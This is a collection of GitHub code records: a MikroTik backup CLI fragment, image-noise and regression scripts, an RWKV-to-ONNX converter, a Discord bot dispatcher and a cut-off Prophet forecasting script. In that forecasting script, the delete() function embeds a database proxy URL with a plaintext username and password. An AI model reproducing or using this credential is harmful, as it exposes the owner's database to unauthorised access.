\"\":\n\t\t\tbreak\n\t\telse:\n\t\t\tsys('echo \"$(tput setaf 3)\\n DESEJA REALMENTE DEIXAR A SENHA EM BRANCO? \\n$(tput sgr0)\"')\n\t\t\top = input(\" (Y/N) -> \")\n\t\t\tif op.upper() == \"Y\":\n\t\t\t\tbreak\n\twhile True:\n\t\t\n\t\top = input(\"\\nMetodo de backup:\\n1 - FTP (via lftp)\\n2 - SSH (via scp)\\n --> \")\n\n\t\tif op == \"1\":\n\t\t\tprotocolo = \"FTP\"\n\t\t\tbreak\n\t\telif op == \"2\":\n\t\t\tprotocolo = \"SSH\"\n\t\t\tbreak\n\t\telse:\n\t\t\tsys('echo \"$(tput setaf 1)\\n OPCAO INVALIDA \\n$(tput sgr0)\"')\n\n\twhile True:\n\t\tdefault_port_number = \"21\"\n\t\tif protocolo == \"SSH\":\n\t\t\tdefault_port_number = \"22\"\n\n\t\ttry:\n\t\t\tporta = input(\"porta do equipamento (%s default) -> \"%(default_port_number))\n\t\t\tif porta != \"\":\n\t\t\t\tporta = int(porta)\n\t\t\tbreak\n\t\texcept:\n\t\t\tsys('echo \"$(tput setaf 1)\\n POR FAVOR, APENAS DIGITOS \\n$(tput sgr0)\"')\n\n\n\n\tnew_login = Modelos.Login(utils.tratarNome(nome), ip, user, senha, porta, \"backup.rsc\",protocolo)\n\t\n\tbanco.insert(new_login)\n\t\n\tsys('echo \"$(tput setaf 2)\\n EQUIPAMENTO ADICIONADO COM SUCESSO \\n$(tput sgr0)\"')\n\ndef loadCSV():\n\twhile True:\n\t\ttgt = input(\" insira o local do arquivo CSV. 0 para cancelar\\n --> \")\n\t\tif tgt == \"0\":\n\t\t\tbreak\n\t\telse:\n\t\t\tif path.exists(tgt):\n\t\t\t\ttry:\n\t\t\t\t\tbanco.loadFromCSVFile(tgt)\n\t\t\t\texcept IndexError:\n\t\t\t\t\tsys('echo \"$(tput setaf 1)\\n ERRO DURANTE A ANALISE DO ARQUIVO: FORMATO INVALIDO \\n$(tput sgr0)\"')\n\t\t\t\tbreak\t\n\t\t\telse:\n\t\t\t\tsys('echo \"$(tput setaf 1)\\n O ARQUIVO NAO EXISTE \\n$(tput sgr0)\"')\n\ndef listar():\n\tprint()\n\n\tequipamentos = banco.getAll()\n\tif len(equipamentos) == 0:\n\t\tprint(\"\\n Vazio\\n\")\n\telse:\n\t\tcontador = 1\n\t\tfor equipamento in equipamentos:\n\t\t\tprint (\"%s - %s\"%(contador, equipamento.toString()))\n\t\t\tcontador += 1\n\tprint()\n","repo_name":"AliCNS/MikrotikB4CKUP","sub_path":"sistema/chamadas.py","file_name":"chamadas.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22475024613","text":"import dippykit\nimport os\nimport scipy\nimport numpy as np\nimport IPython\n\ndirpath = \"../datasets/set12/\"\ngt_dirpath = os.path.join(dirpath, \"GT/\")\n\nfor fname in os.listdir(gt_dirpath):\n gt_fpath = os.path.join(gt_dirpath, fname)\n im = dippykit.imread(gt_fpath)\n for sigma in ['0.50', '1.00', '1.50', '10.0']:\n challenge = 'blur'\n challenge_dirpath = os.path.join(dirpath, challenge + sigma.replace(\".\", \"-\"))\n os.makedirs(challenge_dirpath, exist_ok=True)\n\n sigma = float(sigma)\n im_noisy = (scipy.ndimage.gaussian_filter(im, sigma) * 255).astype(np.uint8)\n dippykit.im_write(im_noisy, os.path.join(challenge_dirpath, fname))\n dippykit.imshow(im_noisy)\n # dippykit.show()\n\n for sigma in ['0.01', '0.03', '0.05', '0.10']:\n challenge = 'additive'\n challenge_dirpath = os.path.join(dirpath, challenge + sigma.replace(\".\", \"-\"))\n os.makedirs(challenge_dirpath, exist_ok=True)\n\n sigma = float(sigma)\n noise = np.random.randn(*im.shape) * sigma\n im_noisy = np.clip((im + noise), 0, 1)\n im_noisy = (im_noisy * 255).astype(np.uint8)\n dippykit.im_write(im_noisy, os.path.join(challenge_dirpath, fname))\n # dippykit.imshow(im_noisy)\n","repo_name":"mohitsingh999/ece6258_final_project","sub_path":"code/noise_set12.py","file_name":"noise_set12.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74225856251","text":"def uloba(timer, overtid, kveld, helg, helligdag):\n timelønn = 186\n k_tillegg = 68\n h_tillegg = 65\n hd_tillegg = timelønn*1.3\n o_tillegg = timelønn*2\n return 1.04*(timelønn*timer + overtid*o_tillegg + kveld*k_tillegg + helg*h_tillegg + helligdag*hd_tillegg), timer\n\ndef støttekontakt(timer, utlegg, km):\n return timer*155+utlegg+km*5.05, timer\n\ndef dalveien(vakter, helg):\n timer = vakter[0]*(7.5+1/6) + vakter[1]*7.5 + vakter[2]*7 + vakter[3]*(7+1/6) + vakter[4]*7 + vakter[5]*6.5\n kveld = vakter[3]*(5+1/6) + vakter[4]*5 + vakter[5]*4.5\n return timer*169.5 + kveld*56 + helg*53, timer\n\nlønnS, timerS = støttekontakt(37.25, 165, 150)\nlønnU, timerU = uloba(38.75, 0, 28, 12, 0)\nlønnD, timerD = dalveien([1.5, 3, 2, 2, 0, 3], 7.5+1/6)\ntot = lønnS + lønnU + lønnD\n\ntimer = timerS + timerU + timerD\n\nprint(\"støttekontakt:\", lønnS)\nprint(\"Uloba:\", lønnU)\nprint(\"Dalveien:\", lønnD)\nprint(\"Timer:\", timer)\nprint(\"timelønn:\", lønnU/timerU)\n\nprint(tot)\n\n\nprint(dalveien([1, 5.3, 2, 5, 3, 3], 43.5))","repo_name":"trymboe/IN2070","sub_path":"Diverse oppgaver/Uke9/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"40405284170","text":"from onnx_modeling import opslist\n\n\ndef RnnRWKV(ops: opslist.Model, *args):\n class myRWKV(ops.module):\n @ops.initfunc\n def __init__(self, w):\n super(myRWKV, self).__init__()\n print(\"Legacy RWKV\")\n\n self.ops = ops\n self.postprocess0 = ops.initTensor((w[\"ln_out.weight\"]))\n self.postprocess1 = ops.initTensor((w[\"ln_out.bias\"]))\n self.postprocess2 = ops.initTensor((w[\"head.weight\"]))\n self.emb = ops.initTensor(w[\"emb.weight\"])\n self.emb1 = ops.initTensor(w[\"blocks.0.ln0.weight\"])\n self.emb2 = ops.initTensor(w[\"blocks.0.ln0.bias\"])\n self.ln1w = ops.stack(\n [w[f\"blocks.{x}.ln1.weight\"] for x in range(ops.n_layers)]\n )\n self.ln1b = ops.stack(\n [w[f\"blocks.{x}.ln1.bias\"] for x in range(ops.n_layers)]\n )\n self.ln2w = ops.stack(\n [w[f\"blocks.{x}.ln2.weight\"] for x in range(ops.n_layers)]\n )\n self.ln2b = ops.stack(\n [w[f\"blocks.{x}.ln2.bias\"] for x in range(ops.n_layers)]\n )\n self.time_decay = ops.stack(\n [\n w[f\"blocks.{x}.att.time_decay\"].double().exp().neg()\n for x in range(ops.n_layers)\n ]\n )\n self.time_first = ops.stack(\n [w[f\"blocks.{x}.att.time_first\"] for x in range(ops.n_layers)]\n )\n self.kktk = ops.stack(\n [w[f\"blocks.{x}.att.time_mix_k\"] for x in range(ops.n_layers)]\n )\n self.vvtv = ops.stack(\n [w[f\"blocks.{x}.att.time_mix_v\"] for x in range(ops.n_layers)]\n )\n self.rrtr = ops.stack(\n [w[f\"blocks.{x}.att.time_mix_r\"] for x in range(ops.n_layers)]\n )\n self.key = ops.stack(\n [w[f\"blocks.{x}.att.key.weight\"] for x in range(ops.n_layers)]\n )\n self.value = ops.stack(\n [w[f\"blocks.{x}.att.value.weight\"] for x in range(ops.n_layers)]\n )\n self.receptance = ops.stack(\n [w[f\"blocks.{x}.att.receptance.weight\"] for x in range(ops.n_layers)]\n )\n self.outputvv = ops.stack(\n [w[f\"blocks.{x}.att.output.weight\"] for x in range(ops.n_layers)]\n )\n self.time_mix_k_ffn = ops.stack(\n [w[f\"blocks.{x}.ffn.time_mix_k\"] for x in range(ops.n_layers)]\n )\n self.time_mix_r_ffn = ops.stack(\n [w[f\"blocks.{x}.ffn.time_mix_r\"] for x in range(ops.n_layers)]\n )\n self.key_ffn = ops.stack(\n [w[f\"blocks.{x}.ffn.key.weight\"] for x in range(ops.n_layers)]\n )\n self.receptance_ffn = ops.stack(\n [w[f\"blocks.{x}.ffn.receptance.weight\"] for x in range(ops.n_layers)]\n )\n self.value_ffn = ops.stack(\n [w[f\"blocks.{x}.ffn.value.weight\"] for x in range(ops.n_layers)]\n )\n\n def wkvsafe(self, k, v, xx, statee, stateb, statec):\n ww = ops.add(k, self.time_first[xx])\n p = ops.maximum(statee, ww)\n\n e1 = ops.exp(ops.subtract(statee, p))\n e2 = ops.exp(ops.subtract(ww, p))\n a = ops.add(ops.multiply(e1, stateb), ops.multiply(e2, v))\n b = ops.add(ops.multiply(e1, statec), e2)\n ww = ops.add(statee, self.time_decay[xx])\n\n p = ops.maximum(ww, k)\n\n e1 = ops.exp(ops.subtract(ww, p))\n e2 = ops.exp(ops.subtract(k, p))\n outb = ops.add(ops.multiply(e1, stateb), ops.multiply(e2, v))\n outc = ops.add(ops.multiply(e1, statec), e2)\n eee = p\n wkv = ops.divide(a, b)\n\n return wkv, outb, outc, eee\n\n def wkvunsafe(self, k, v, xx, statee, stateb, statec):\n # // const double vv = v[i + token * emb];\n # // const double wr1 = aa + exp(float(u[i + emb * offset] + w[i + emb * offset] + k[i + token * emb])) * vv;\n # // const double wr2 = bb + exp(float(u[i + emb * offset] + w[i + emb * offset] + k[i + token * emb]));\n # // y[i + token * emb] = (wr1) / (wr2+0.001);\n # // y[i + token * emb] = (1.0 / (1.0 + exp(float(-r[i + token * emb])))) * y[i + token * emb];\n # // aa = (aa + exp(float(double(k[i + token * emb]))) * vv) * exp(float(w[i + emb * offset]));\n # // bb = (bb + exp(float(double(k[i + token * emb])))) * exp(float(w[i + emb * offset]));\n\n td = ops.exp(self.time_decay[xx])\n tf = ops.exp(self.time_first[xx])\n\n ek = ops.exp(k)\n ekk = ops.multiply(ek, tf)\n a = ops.add(stateb, ops.multiply(ekk, v))\n b = ops.add(statec, ekk)\n wkv = ops.divide(a, ops.add(b, ops.margins))\n\n outb = ops.add(stateb, ops.multiply(ek, v))\n outc = ops.add(statec, ek)\n\n outb = ops.multiply(td, outb)\n outc = ops.multiply(td, outc)\n\n eee = None\n\n return wkv, outb, outc, eee\n\n @ops.layerdef\n def doLayer(self, x, statea, stateb, statec, stated, statee, xx):\n xy = ops.layernorm(x, self.ln1w[xx], self.ln1b[xx])\n\n k = ops.matvec(self.key[xx], ops.lerp(statea, xy, self.kktk[xx]))\n\n v = ops.matvec(self.value[xx], ops.lerp(statea, xy, self.vvtv[xx]))\n rr = ops.matvec(self.receptance[xx], ops.lerp(statea, xy, self.rrtr[xx]))\n r = ops.logistical((rr))\n\n wkv, outb, outc, eee = (\n self.wkvsafe(k, v, xx, statee, stateb, statec)\n if ops.useSafeWKV\n else self.wkvunsafe(k, v, xx, statee, stateb, statec)\n )\n\n mvv = ops.add(x, ops.matvec(self.outputvv[xx], ops.multiply(r, wkv)))\n\n ddd = ops.layernorm(mvv, self.ln2w[xx], self.ln2b[xx])\n\n km = ops.relu(\n ops.matvec(\n self.key_ffn[xx], ops.lerp(stated, ddd, self.time_mix_k_ffn[xx])\n )\n )\n\n rt = ops.logistical(\n (\n ops.matvec(\n self.receptance_ffn[xx],\n ops.lerp(stated, ddd, self.time_mix_r_ffn[xx]),\n )\n )\n )\n\n x = ops.add(\n mvv,\n ops.multiply(ops.matvec(self.value_ffn[xx], ops.multiply(km, km)), rt),\n )\n\n return x, xy, outb, outc, ddd, eee\n\n @ops.mainfunc\n def forward(self, x, state=None):\n if state is None:\n state = ops.emptyState\n\n x = ops.layernorm(ops.getIndex(self.emb, x), self.emb1, self.emb2)\n\n statea = state[0 :: (4 + ops.useSafeWKV)]\n stateb = state[1 :: (4 + ops.useSafeWKV)]\n statec = state[2 :: (4 + ops.useSafeWKV)]\n stated = state[3 :: (4 + ops.useSafeWKV)]\n statee = state[4::5] if ops.useSafeWKV else [None] * ops.n_layers\n\n ot = []\n\n for i in range(ops.n_layers):\n x, aaa, bbb, ccc, ddd, eee = self.doLayer(\n x, statea[i], stateb[i], statec[i], stated[i], statee[i], i\n )\n ot = ot + (\n [aaa, bbb, ccc, ddd, eee]\n if ops.useSafeWKV\n else [aaa, bbb, ccc, ddd]\n )\n\n x = ops.matvec(\n self.postprocess2,\n ops.layernorm(x, self.postprocess0, self.postprocess1),\n )\n\n return x, ot\n\n ops.postProcessModule(myRWKV(*args))\n\n\nimport torch\n\n\ndef convert_model(path, dtype):\n w = torch.load(path, map_location=\"cpu\")\n dims = len(w[\"blocks.0.att.key.weight\"])\n layers = len(list(filter(lambda x: \"blocks\" in x and \"ln1.bias\" in x, w.keys())))\n\n ops = opslist.Model(\n layers,\n dims,\n dtype=dtype,\n opsVersion=version.get(),\n useSafeWKV=use_safe_wkv.get(),\n externalData=use_external_data.get(),\n )\n\n RnnRWKV(ops, w)\n\n\nimport tkinter as tk\nfrom tkinter import filedialog\n\n\n# Create the main window\nroot = tk.Tk()\nroot.title(\"File Converter\")\n\n\n# Define the functions\ndef choose_input_file():\n input_file = filedialog.askopenfilename()\n input_path.set(input_file)\n\n\nimport numpy as np\n\n\ndef convert():\n path = input_path.get()\n dtype = np.float16 if use_fp16.get() else np.float32\n convert_model(path, dtype)\n\n\n# Define the variables\ninput_path = tk.StringVar()\nuse_fp16 = tk.BooleanVar(value=True)\nuse_safe_wkv = tk.BooleanVar(value=True)\nuse_external_data = tk.BooleanVar(value=True)\n# version, number either 15/17\nversion = tk.IntVar(value=15)\n\n# Create the widgets\ninput_label = tk.Label(root, text=\"Input Path:\")\ninput_entry = tk.Entry(root, textvariable=input_path)\ninput_button = tk.Button(root, text=\"Browse...\", command=choose_input_file)\n\n\ncheck_button = tk.Checkbutton(root, text=\"Use fp16\", variable=use_fp16)\ncheck_button2 = tk.Checkbutton(root, text=\"Safe Wkv\", variable=use_safe_wkv)\ncheck_button3 = tk.Checkbutton(root, text=\"External Data\", variable=use_external_data)\ninput_select = tk.OptionMenu(root, version, 15, 17)\n\n\nconvert_button = tk.Button(root, text=\"Convert\", command=convert)\n\n# Add the widgets to the window\ninput_label.grid(row=0, column=0)\ninput_entry.grid(row=0, column=1)\ninput_button.grid(row=0, column=2)\n\ncheck_button.grid(row=2, column=0)\ncheck_button2.grid(row=2, column=1)\ncheck_button3.grid(row=2, column=2)\ninput_select.grid(row=3, column=0)\n\nconvert_button.grid(row=3, column=1)\n\n\n# Start the main event loop\nroot.mainloop()\n","repo_name":"Ryu1845/ONNX-Modeling","sub_path":"examples/convert_rwkv.py","file_name":"convert_rwkv.py","file_ext":"py","file_size_in_byte":9771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"3139987934","text":"# BOJ 1507 궁금한 민호\nimport sys\n\nsys.stdin = open(\"../input.txt\", \"r\")\nsi = sys.stdin.readline\n\n\n# 문제에서 주어진 입력 조건\nN = int(si())\ndp = [list(map(int, si().split(\" \"))) for _ in range(N)]\nret = 0\n\n# validate input if it is valid\nflag = True\nfor i in range(N):\n for j in range(i + 1, N):\n check = True\n for k in range(N):\n # pass when i == k or k == j\n if k == i or k == j:\n continue\n # if dp[i][k] + dp[k][j] == dp[i][j], it is not an unique route\n if dp[i][j] == dp[i][k] + dp[k][j]:\n check = False\n break\n # if dp[i][j] > dp[i][k] + dp[k][j], it is invalid graph.\n elif dp[i][j] > dp[i][k] + dp[k][j]:\n flag = False\n break\n if check:\n ret += dp[i][j]\nprint(ret if flag else -1)\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"BOJ/graph_boj/minho.py","file_name":"minho.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"9298110721","text":"import traceback\n\nfrom command import Command\n\ncommands = []\n\n\ndef register(cmd: Command):\n commands.append(cmd)\n\n\nasync def handle(ctx, name, *args):\n for command in commands:\n if name == command.name or name in command.aliases:\n async with ctx.typing():\n try:\n await command.run(ctx, *args)\n except Exception as e:\n await ctx.send(\"發生錯誤!\" + str(e.__class__) + str(e.args))\n traceback.print_exc()\n","repo_name":"Huanying04/HitomiBot","sub_path":"command_manager.py","file_name":"command_manager.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"17570083988","text":"# %%\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.tree import DecisionTreeRegressor\r\n\r\n\r\n# %% [markdown]\r\n# \r\n\r\n# %%\r\nyrbss = pd.read_csv(\"C:/Users/jjiamei/Desktop/yrbss.csv\") \r\nyrbss.describe()\r\n\r\n# %%\r\nyrbss.columns\r\nprint(yrbss.dtypes)\r\nreplace_map = {'gender': {'female': 1, 'male': 2, 'other': 0}}\r\nlabels = yrbss['gender'].astype('category').cat.categories.tolist()\r\nreplace_map_comp = {'gender' : {k: v for k,v in zip(labels,list(range(1,len(labels)+1)))}}\r\nprint(replace_map_comp)\r\nyrbss.replace(replace_map_comp, inplace=True)\r\n\r\n\r\n\r\n\r\n# %%\r\nyrbss = yrbss.dropna(axis=0)\r\n\r\n# %%\r\ny = yrbss.weight\r\n\r\n# %%\r\nyrbss_features = ['height', 'age', 'gender']\r\n\r\n# %% [markdown]\r\n# surprisingly, physical_activity_7d lowered the explained variance score.\r\n\r\n# %%\r\nX = yrbss[yrbss_features]\r\n\r\n# %%\r\nX.describe()\r\n\r\n# %%\r\nX.head()\r\n\r\n# %%\r\nyrbss_model = DecisionTreeRegressor(random_state=1)\r\nyrbss_model.fit(X, y)\r\n\r\n\r\n# %%\r\nyrbss_model.predict(X)\r\n\r\n# %%\r\nfrom sklearn.metrics import mean_absolute_error, explained_variance_score\r\nfrom sklearn.tree import DecisionTreeRegressor\r\n\r\n# %%\r\nfrom sklearn.model_selection import train_test_split\r\ntrain_X, val_X, train_y, val_y = train_test_split(X, y, test_size=0.20, random_state = 0)\r\n\r\nyrbss_model = DecisionTreeRegressor()\r\nyrbss_model.fit(train_X, train_y)\r\n\r\n\r\nvalidation_predictions = yrbss_model.predict(val_X)\r\nprint(mean_absolute_error(val_y, validation_predictions))\r\nprint(explained_variance_score(val_y, validation_predictions))\r\n\r\n# %%\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.metrics import mean_absolute_error, explained_variance_score\r\nforest_model = RandomForestRegressor(random_state=0)\r\nforest_model.fit(train_X, train_y)\r\nweight_preds = forest_model.predict(val_X)\r\nprint(mean_absolute_error(val_y, weight_preds))\r\nprint(explained_variance_score(val_y, weight_preds))\r\n\r\n# %% [markdown]\r\n# adding more to my github jjiamei\r\n\r\n\r\n","repo_name":"jjiamei/inst414--yrbss-bmi","sub_path":"pythonscriptbmi.py","file_name":"pythonscriptbmi.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"2918170472","text":"import requests\nimport pandas as pd\nimport numpy as np\nimport datetime\n#from datetime import date, timedelta\nimport time\nfrom fbprophet import Prophet\nfrom fbprophet.diagnostics import performance_metrics\nimport itertools\nfrom fbprophet.diagnostics import cross_validation\n#import xlsxwriter\nfrom scipy.optimize import curve_fit\nimport pandahouse as ph\n\n#PREDICT_FROM = '2021-08-01'\nPREDICT_FROM = datetime.datetime.today().strftime('%Y-%m-%d')\n\ndef delete():\n sql=\"\"\"\n ALTER TABLE pulse.stats_prediction_replicated on cluster tableau DELETE WHERE toYYYYMMDD(predict_date) = toYYYYMMDD(toDate('{}'))\n \"\"\".format(PREDICT_FROM)\n connection = {'host': ' http://proxy.surfy.ru:8125/?user=pulse_ml_rw&password=Tee7ohyae4aiVuac',\n 'database': 'pulse'}\n\n df = ph.read_clickhouse(sql,\n connection=connection)\n return df\n\n# получение данных\ndef get_redash_result(query, readsh_params):\n api_key = ''\n\n redash_url = 'https://redash-ml.surfy.ru'\n headers = {'Authorization': 'Key {}'.format(api_key)}\n\n response = requests.post(\n redash_url+'/api/queries/{}/refresh'.format(query),\n headers=headers,\n params=readsh_params\n )\n print('responseresponse',response)\n while response.json()['job']['status'] not in (3,4):\n s = requests.Session()\n s.headers.update({'Authorization': 'Key {}'.format(api_key)})\n response = s.get('{}/api/jobs/{}'.format(redash_url, response.json()['job']['id']))\n job = response.json()['job']\n time.sleep(1)\n\n if job['status'] == 3:\n response = s.get(redash_url+'/api/query_results/{}'.format(job['query_result_id']))\n return response.json()['query_result']['data']['rows']\n raise Exception('No data recieved! ' + str(response.json()))\n\ndef add_regressor(mon):\n date = pd.to_datetime(mon)\n if date>= pd.to_datetime('2021-04-06') and date <= pd.to_datetime('2021-06-09'):\n return 1\n else:\n return 0\ndef add_regressor1(mon):\n date = pd.to_datetime(mon)\n if date>= pd.to_datetime('2020-08-24') and date <= pd.to_datetime('2020-11-18'):\n #if date <= pd.to_datetime('2020-12-01'):\n return date.dayofyear\n else:\n return 0\ndef add_regressor2(mon):\n date = pd.to_datetime(mon)\n if date>= pd.to_datetime('2021-04-06') and date <= pd.to_datetime('2020-06-09'):\n return 1\n else:\n return 0\ndef cross_val(param_grid,df_cross_val,stream):\n # Generate all combinations of parameters\n all_params = [dict(zip(param_grid.keys(), v)) for v in itertools.product(*param_grid.values())]\n rmses = [] # Store the RMSEs for each params here\n\n # Use cross validation to evaluate all parameters\n for params in all_params:\n print(params)\n m = Prophet(**params) # Fit model with given params\n m.add_country_holidays(country_name='RU')\n if stream == 'partners_mobile':\n df_cross_val['regressor'] = df_cross_val['ds'].apply(add_regressor)\n m.add_regressor('regressor')\n if stream == 'lenta_main_mail_ru':\n df_cross_val['regressor'] = df_cross_val['ds'].apply(add_regressor1)\n m.add_regressor('regressor', prior_scale=10, mode='multiplicative')\n m.fit(df_cross_val)\n df_cv = cross_validation(m, horizon='20 days', parallel=\"processes\")\n df_p = performance_metrics(df_cv, rolling_window=1)\n rmses.append(df_p['mape'].values[0])\n\n # Find the best parameters\n tuning_results = pd.DataFrame(all_params)\n tuning_results['mape'] = rmses\n print(tuning_results)\n print(tuning_results[np.argmin(rmses):np.argmin(rmses)+1])\n return all_params[np.argmin(rmses)]\n\ndef f(x, a, b,c,d):\n return a/(b*x+c)+d\n\ndef make_polynom_prediction(df_full):\n df_poly = df_full[-203:]\n max=np.percentile(df_poly['y'].values,95)\n min=np.percentile(df_poly['y'].values,5)\n df_poly = df_poly.loc[(df_poly['y']min)]\n\n x = [i+1 for i in range(len(df_poly))]\n y=df_poly.y.values\n\n popt, _ = curve_fit(f, x, y, method='trf',bounds=([0,-np.inf,-np.inf,0],[np.inf,np.inf,np.inf,np.inf]))\n\n fit_y = [f(xi, popt[0], popt[1], popt[2], popt[3]) for xi in x]\n prediction = [f(i, popt[0], popt[1], popt[2], popt[3]) for i in range(len(df_poly),len(df_poly)+500,1)]\n #import matplotlib.pyplot as plt\n #plt.plot(x, y, 'o', x, fit_y, '-')\n #plt.show()\n return prediction\n\ndef predict_dau_prophet(df_dau,list_of_df,stream):\n param_grid = {\n 'yearly_seasonality': [True],\n 'weekly_seasonality': [True],\n 'changepoint_prior_scale': [0.001, 0.01, 0.5, 10], # [0.001, 0.5]\n 'seasonality_prior_scale': [0.01, 0.1, 1, 10.0], # [0.01, 10]\n 'holidays_prior_scale': [0.01, 0.1, 1, 10] # [0.01, 10]\n }\n #growth = 'linear'\n if stream == \"startsWith(stream_id, 'xiaomi_browser')\" or stream == \"startsWith(stream_id, 'xiaomi_appvault')\" or stream == \"startsWith(stream_id, 'xiaomi_lockscreen')\":\n #growth = 'logistic'\n best_params = {'yearly_seasonality': False, 'weekly_seasonality': True, 'changepoint_prior_scale': 0.051,\n 'seasonality_prior_scale': 0.01, 'holidays_prior_scale': 1.0}\n elif stream == \"startsWith(stream_id, 'lenta_main_mail_ru') and stream_id != 'lenta_main_mail_ru_mediaproject'\":\n # best_params = {'yearly_seasonality': True, 'weekly_seasonality': True, 'changepoint_prior_scale': 0.1,\n # 'seasonality_prior_scale': 0.02, 'holidays_prior_scale': 0.001}\n best_params={'yearly_seasonality': True, 'weekly_seasonality': True, 'changepoint_prior_scale': 0.01,\n 'seasonality_prior_scale': 3, 'holidays_prior_scale': 0.01}\n #best_params: {'yearly_seasonality': True, 'weekly_seasonality': True, 'changepoint_prior_scale': 0.5,\n # 'seasonality_prior_scale': 0.01, 'holidays_prior_scale': 0.01}\n\n elif stream == 'partners_mobile':\n best_params = {'yearly_seasonality': True, 'weekly_seasonality': True, 'changepoint_prior_scale': 10,\n 'seasonality_prior_scale': 0.01, 'holidays_prior_scale': 0.01}\n elif stream == 'partners_desktop':\n best_params = {'yearly_seasonality': True, 'weekly_seasonality': True, 'changepoint_prior_scale': 0.5,\n 'seasonality_prior_scale': 1, 'holidays_prior_scale': 10}\n else:\n best_params = cross_val(param_grid, df_dau, stream)\n\n print('best_params: ', best_params)\n m = Prophet(**best_params)\n m.add_country_holidays(country_name='RU')\n if stream == 'partners_mobile':\n df_dau['regressor'] = df_dau['ds'].apply(add_regressor)\n m.add_regressor('regressor')\n #if stream == \"startsWith(stream_id, 'lenta_main_mail_ru') and stream_id != 'lenta_main_mail_ru_mediaproject'\":\n # print('add_regressor1')\n # df_dau['regressor'] = df_dau['ds'].apply(add_regressor1)\n # m.add_regressor('regressor', prior_scale=10, mode='multiplicative')\n\n df_dau = df_dau[df_dau.ds < pd.to_datetime(PREDICT_FROM)]\n\n #df_dau['cap'] = 3300000\n #df_dau['floor'] = 2700000\n\n m.fit(df_dau)\n future = m.make_future_dataframe(periods=500, freq='D')\n if stream == 'partners_mobile':\n future['regressor'] = future['ds'].apply(add_regressor)\n #if stream == \"startsWith(stream_id, 'lenta_main_mail_ru') and stream_id != 'lenta_main_mail_ru_mediaproject'\":\n # future['regressor'] = future['ds'].apply(add_regressor1)\n #future['cap'] = 3300000\n #future['floor'] = 2700000\n forecast = m.predict(future)\n #fig = m.plot(forecast)\n #a = add_changepoints_to_plot(fig.gca(), m, forecast)\n\n #fig = m.plot_components(forecast)\n\n forecast2 = forecast[forecast.ds > pd.to_datetime(df_dau['ds'][-1:].values[0])]\n dau = forecast2.copy() # save dau for using later with coefs\n #forecast2['date'] = forecast2['ds'].dt.month\n #forecast2['year'] = forecast2['ds'].dt.year\n #forecast2 = forecast2[['date', 'year', 'yhat']].groupby(['year', 'date']).mean()\n forecast2['stream_condition'] = stream\n #forecast2['condition'] = condition\n forecast2['predict_date'] = PREDICT_FROM\n forecast2['yhat'] = forecast2['yhat'].astype('int')\n list_of_df.append(forecast2[['ds', 'predict_date', 'stream_condition', 'yhat']].rename(columns = {'ds': 'date', 'yhat': 'DAU'}).reset_index())\n return dau\n\ndef predict_metrics_polynom(df, list_of_df,dau):\n # модель с гиперболой, средним и настройками ленты\n for feature in df.columns:\n if feature in ['DAU', 'date']:\n continue\n df_feature = df.loc[:, ['date', feature]]\n\n df_feature.columns = ['ds', 'y']\n # sns.lineplot(df_feature.ds, df_feature.y)\n if feature == 'DAU':\n pass\n else:\n df_feature['y'] = df['DAU'] / df_feature['y']\n coef = df_feature['y'][-28:].mean()\n coef7 = df_feature['y'][-7:].mean()\n #print(feature)\n #print('coef', coef)\n #print('coef7', coef7)\n try:\n prediction = make_polynom_prediction(df_feature)\n except:\n prediction = [0]\n error = np.abs((coef - prediction[0]) / coef)\n #print('error', error)\n if error > 0.3:\n #print(feature, 'using 7 days mean:', coef7)\n forecast = dau.copy()\n forecast['yhat'] = forecast['yhat']/coef7\n forecast = forecast.reset_index()\n #forecast['yhat'] = coef7\n else:\n #print(feature, 'using polynom prediction')\n #print('prediction', prediction[0])\n lenta_settings_coef = coef7 / prediction[0]\n #print('lenta_settings_coef', lenta_settings_coef)\n forecast = dau.copy()\n forecast = forecast[forecast.ds > pd.to_datetime(df['date'][-1:].values[0])]\n forecast = forecast.reset_index()\n polynom_prediction_df = pd.DataFrame({feature: prediction})\n # forecast['coef'] = polynom_prediction_df[feature]\n forecast['yhat'] = forecast['yhat']/(polynom_prediction_df[feature] * lenta_settings_coef)\n #forecast['yhat'] = polynom_prediction_df[feature] * lenta_settings_coef\n forecast2 = forecast[forecast.ds > pd.to_datetime(df['date'][-1:].values[0])]\n # if feature == 'DAU': DAU = forecast2.copy() #save dau for using later with coefs\n #forecast2['date'] = forecast2['ds'].dt.month\n #forecast2['year'] = forecast2['ds'].dt.year\n #forecast2 = forecast2[['date', 'year', 'yhat']].groupby(['year', 'date']).mean()\n #forecast2['yhat'].astype('int', copy=False)\n list_of_df.append(forecast2['yhat'].astype('int').rename(feature))\n\n df_final = pd.concat(list_of_df, axis=1)\n return df_final\n\ndef write_df_to_ch(df_final,table_name):\n #df_final.to_excel('/Users/l.pozdnyakov/Desktop/for_pred/pred_'+str(pd.to_datetime(PREDICT_FROM).month-1)+'.xlsx', engine='xlsxwriter')\n df_final = df_final.fillna(0).set_index('date').drop(['index'], axis=1)\n connection = {'host': ' http://proxy.surfy.ru:8125/?user=&password=',\n 'database': 'pulse'}\n\n affected_rows = ph.to_clickhouse(df_final, table=table_name, connection=connection)\n\ndef main():\n print('PREDICT_FROM: ', PREDICT_FROM)\n delete()\n query_id = 8787 # id запроса в redash\",\n streams_conditions = [\n \"startsWith(stream_id, 'lenta_main_mail_ru') and stream_id != 'lenta_main_mail_ru_mediaproject'\",\n \"startsWith(stream_id, 